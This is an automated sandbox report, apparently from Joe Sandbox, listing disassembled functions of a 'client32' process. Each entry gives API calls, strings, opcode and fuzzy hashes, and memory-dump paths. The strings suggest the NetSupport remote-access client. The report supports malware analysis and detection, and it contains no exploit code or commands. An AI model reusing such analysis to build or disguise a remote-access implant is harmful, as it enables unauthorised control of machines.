Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 0f4bda93c2fa95a79c6cfec15824fc43f5b70deef06045cf9c901e7bc6b82896
Instruction ID: a914e2cea8ad1481f503ba01f1d1a08edacf548165b8a11fd341c03149d2e1b0
Opcode Fuzzy Hash: 0f4bda93c2fa95a79c6cfec15824fc43f5b70deef06045cf9c901e7bc6b82896
Instruction Fuzzy Hash: 9301D276A04216ABF34115BD6D01FABBB8C8BD2A78F240173F84DD6A81E752E41681A2

Function 1100EE20 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EE52

Part of subcall function 111616DA: _setlocale.LIBCMT ref: 111616EC

_free.LIBCMT ref: 1100EE64

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 1100EE77
_free.LIBCMT ref: 1100EE8A
_free.LIBCMT ref: 1100EE9D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: ed7eb8e9888c5118949983cd0268dd79b6cba560ecac2a4a446fb5dc8afa845e
Instruction ID: a44a88996e3d62c283fa82fd04d5e1258298656dbf2da44853d36c331dab430a
Opcode Fuzzy Hash: ed7eb8e9888c5118949983cd0268dd79b6cba560ecac2a4a446fb5dc8afa845e
Instruction Fuzzy Hash: 9511B2F2D046559BE720CF99D800A5BFBECEB50764F144A2AE49AD3640E7B2F904CA51

Function 111464E0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

wsprintfA.USER32 ref: 1114650E
wsprintfA.USER32 ref: 11146524

Part of subcall function 11143E00: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1111025B,75A78400,?), ref: 11143E97
Part of subcall function 11143E00: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11143EB7
Part of subcall function 11143E00: FindCloseChangeNotification.KERNEL32(00000000), ref: 11143EBF

Strings

NSM.LIC, xrefs: 111464F3
%sNSM.LIC, xrefs: 11146508
%sNSA.LIC, xrefs: 1114651E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$ChangeCloseFindModuleNameNotification
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 1400454717-2600120591
Opcode ID: b80d813afa46409255703ba7a7584a715aa6e7e8051bc230ff80af9931e0e18b
Instruction ID: d6aa3785d543843f1191885663c1f1b2da884e9fda22ce0040deef08ed208be3
Opcode Fuzzy Hash: b80d813afa46409255703ba7a7584a715aa6e7e8051bc230ff80af9931e0e18b
Instruction Fuzzy Hash: 7B01B5BA90122DA6CB10DBB09D41FDEF77CCB1460DF5005A5E8099A540EE60BE44DBD1

Function 110F4B70 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 110F4B8A
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110F4BAA
TranslateMessage.USER32(?), ref: 110F4BC4
DispatchMessageA.USER32(?), ref: 110F4BCA
CoUninitialize.OLE32 ref: 110F4BE6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchInitializeTranslateUninitialize
String ID:
API String ID: 3550192930-0
Opcode ID: cc0c84c49c7e2416c752fb198c95613c6e3beb4d5de04bc6f877ef0d92a8c20d
Instruction ID: c6f08b4013ced19d6869e69a0d946a3ee91e256cb2334e467ebd10f862add052
Opcode Fuzzy Hash: cc0c84c49c7e2416c752fb198c95613c6e3beb4d5de04bc6f877ef0d92a8c20d
Instruction Fuzzy Hash: A301CC35D0131E9BEB24DAA0DD85F99B3F8AF48719F0002AAE915E2181E774E5048B61

Function 11143E00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1111025B,75A78400,?), ref: 11143E97
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11143EB7
FindCloseChangeNotification.KERNEL32(00000000), ref: 11143EBF

Strings

", xrefs: 11143E4E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile$ChangeCloseFindNotification
String ID: "
API String ID: 353575653-123907689
Opcode ID: 7a1e0e4b99865e682fb8aefe1b378640ee8558a614cdda32459534f13f8ca753
Instruction ID: 3d5505e67506a11152adc20893aebb2e29c51f354ea5d43c8ad60c1cab3f6bda
Opcode Fuzzy Hash: 7a1e0e4b99865e682fb8aefe1b378640ee8558a614cdda32459534f13f8ca753
Instruction Fuzzy Hash: 5921BB31A092B9AFE332CE38DD54BD9BB989B42B14F3002E0E4D5AB5C1DBB19948C750

Function 1102D830 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,EFF676FC,75922EE0,?,00000000,111821CB,000000FF,?,11030776,UseIPC,00000001,00000000), ref: 1102D8E7

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 11110280: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EDC3F0,?,11110F3D,00000000,00000001,?,?,?,?,?,11031700), ref: 1111029E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102D8AA

Strings

Client, xrefs: 1102D863
DisableGeolocation, xrefs: 1102D85E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: 158f0e376808450741e0700ac0c024a58049640d461096dac0e4dc733de99837
Instruction ID: cbdab4fc78c667aa17d7f52ea236f8f509ff794b1425e8be210dc820fee18f51
Opcode Fuzzy Hash: 158f0e376808450741e0700ac0c024a58049640d461096dac0e4dc733de99837
Instruction Fuzzy Hash: 4921D374B41365AFE312CFA4CD41FA9F7A4E704B08F10066AF925AB7C4D7B5B8008B88

Function 11027810 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1102783A

Part of subcall function 110CD940: EnterCriticalSection.KERNEL32(00000000,00000000,75A73760,00000000,75A8A1D0,1105E7CB,?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD95B
Part of subcall function 110CD940: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD988
Part of subcall function 110CD940: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD99A
Part of subcall function 110CD940: LeaveCriticalSection.KERNEL32(?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9A4

TranslateMessage.USER32(?), ref: 11027850
DispatchMessageA.USER32(?), ref: 11027856

Strings

Exit Msgloop, quit=%d, xrefs: 1102788D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 1e7707140bc2ef53bb668a28125e94940fa22640bbb246be592d1b9c462dd20f
Instruction ID: 817b53cccd486bf52806c908fc33d3d0e945c232de97a35441108a60357cf637
Opcode Fuzzy Hash: 1e7707140bc2ef53bb668a28125e94940fa22640bbb246be592d1b9c462dd20f
Instruction Fuzzy Hash: 4C01FC76E8222A66E704DBE59C81FABF7AC9754B08F8040B5EA1493185E7A4B005C7E5

Function 110179E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110179ED

Part of subcall function 110178F0: WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 1101792C
Part of subcall function 110178F0: CoInitialize.OLE32(00000000), ref: 11017935
Part of subcall function 110178F0: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101795C
Part of subcall function 110178F0: CoUninitialize.OLE32 ref: 110179C0

Part of subcall function 11017810: WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 11017842
Part of subcall function 11017810: CoInitialize.OLE32(00000000), ref: 1101784B
Part of subcall function 11017810: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017872
Part of subcall function 11017810: CoUninitialize.OLE32 ref: 110178D0

SetEvent.KERNEL32(00000318), ref: 11017A0D
GetTickCount.KERNEL32 ref: 11017A13

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 11017A1D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 610e40d61194c34f9e635cc577eb4e6ba02d92eb7ed74a53a25a0e307046be88
Instruction ID: 40d604bc36e6f054513ad574895ebf983a142e9fcea0f5d6417744b2b8156d0d
Opcode Fuzzy Hash: 610e40d61194c34f9e635cc577eb4e6ba02d92eb7ed74a53a25a0e307046be88
Instruction Fuzzy Hash: 74F0A0B6E8021C6FE700DBF99D89E6EB79CDB44318B100436E914C7201E9A2BC1187A1

Function 6EEF5000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6EEF5014
K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6EEF8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6EEF5034
SetLastError.KERNEL32(00000078,00000000,?,6EEF8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6EEF503D

Strings

GetModuleFileNameExA, xrefs: 6EEF500E

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorFileLastModuleNameProc
String ID: GetModuleFileNameExA
API String ID: 4084229558-758377266
Opcode ID: 1fabd4b822d24a13f10a9ce8ba3b5351b1450e6212a08d877d49c1d00d782497
Instruction ID: c6fbe275ef727ad5450fda64680c7cdd1a4092173ee26769a7af6b18966e7191
Opcode Fuzzy Hash: 1fabd4b822d24a13f10a9ce8ba3b5351b1450e6212a08d877d49c1d00d782497
Instruction Fuzzy Hash: A9F0FEB2624618ABC720DF94E844F5777A9EB48751F10851AF94697240D6B1E8148BE1

Function 6EEF4FB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6EEF4FC4
K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6EEF8E0D,00000000,?,6EEF8E0D,00000000,?,00000FA0,?), ref: 6EEF4FE4
SetLastError.KERNEL32(00000078,00000000,?,6EEF8E0D,00000000,?,00000FA0,?), ref: 6EEF4FED

Strings

EnumProcessModules, xrefs: 6EEF4FBE

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressEnumErrorLastModulesProcProcess
String ID: EnumProcessModules
API String ID: 3858832252-3735562946
Opcode ID: 351c1b78ccc66f28b11d4baa3de3afe621d4e5b4e3ef8ffba07ad40319bec8af
Instruction ID: 9b5e3539268b9765696cce1e822b7e7c024a75bc75048a1df169525063cc1a5d
Opcode Fuzzy Hash: 351c1b78ccc66f28b11d4baa3de3afe621d4e5b4e3ef8ffba07ad40319bec8af
Instruction Fuzzy Hash: F9F05E72614618AFC710DF94D844E5B77A9EB48721F00881AF95A97340D6B0E811CBA0

Function 11138740 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

CreateThread.KERNEL32(00000000,00001000,Function_00138580,00000000,00000000,111396D2), ref: 1113877E
FindCloseChangeNotification.KERNEL32(00000000,?,111396D2,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11138785

Strings

Client, xrefs: 1113875C
*AutoICFConfig, xrefs: 11138757

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindNotificationThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3838223534-59951473
Opcode ID: 8ef9440ca52eb6c28e2eb8d9bc5eaacf11d3a77b41f44fd575e1b178a618d9bf
Instruction ID: 465e4da249eed1782d5a870e25bf0fc53578c4739eb9f60baa785aa5b16743b3
Opcode Fuzzy Hash: 8ef9440ca52eb6c28e2eb8d9bc5eaacf11d3a77b41f44fd575e1b178a618d9bf
Instruction Fuzzy Hash: 93E0D8397A0319BBF2108BE28D4BFA0FB5D9700766F100324FB34650C8E6A0B4408755

Function 11070F90 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 11070FE7
EnterCriticalSection.KERNEL32(?), ref: 11070FF4
LeaveCriticalSection.KERNEL32(?), ref: 110710C6

Strings

Push, xrefs: 11070FB6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: 74813a05ea0db766d7d3990c23e63c1b548e25f4805cfc9f05432d5c18842b54
Instruction ID: 0680e92de3a1cb6b94a8841711a201229b8bffd134bed54c98ff914dc8d571b6
Opcode Fuzzy Hash: 74813a05ea0db766d7d3990c23e63c1b548e25f4805cfc9f05432d5c18842b54
Instruction Fuzzy Hash: 2A51CF75E04685DFE322CF64C884B96FBE2EF04314F058199E8A98B281D770BD44CB90

Function 6EEFA4E0 Relevance: 6.1, APIs: 4, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6EF3B898,00000000,?,?,?,6EEFDA7F,?,00000000), ref: 6EEFA503
InterlockedExchange.KERNEL32(?,00000000), ref: 6EEFA568
Sleep.KERNEL32(00000000,?,6EEFDA7F,?,00000000), ref: 6EEFA581
LeaveCriticalSection.KERNEL32(6EF3B898,00000000), ref: 6EEFA5B3

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

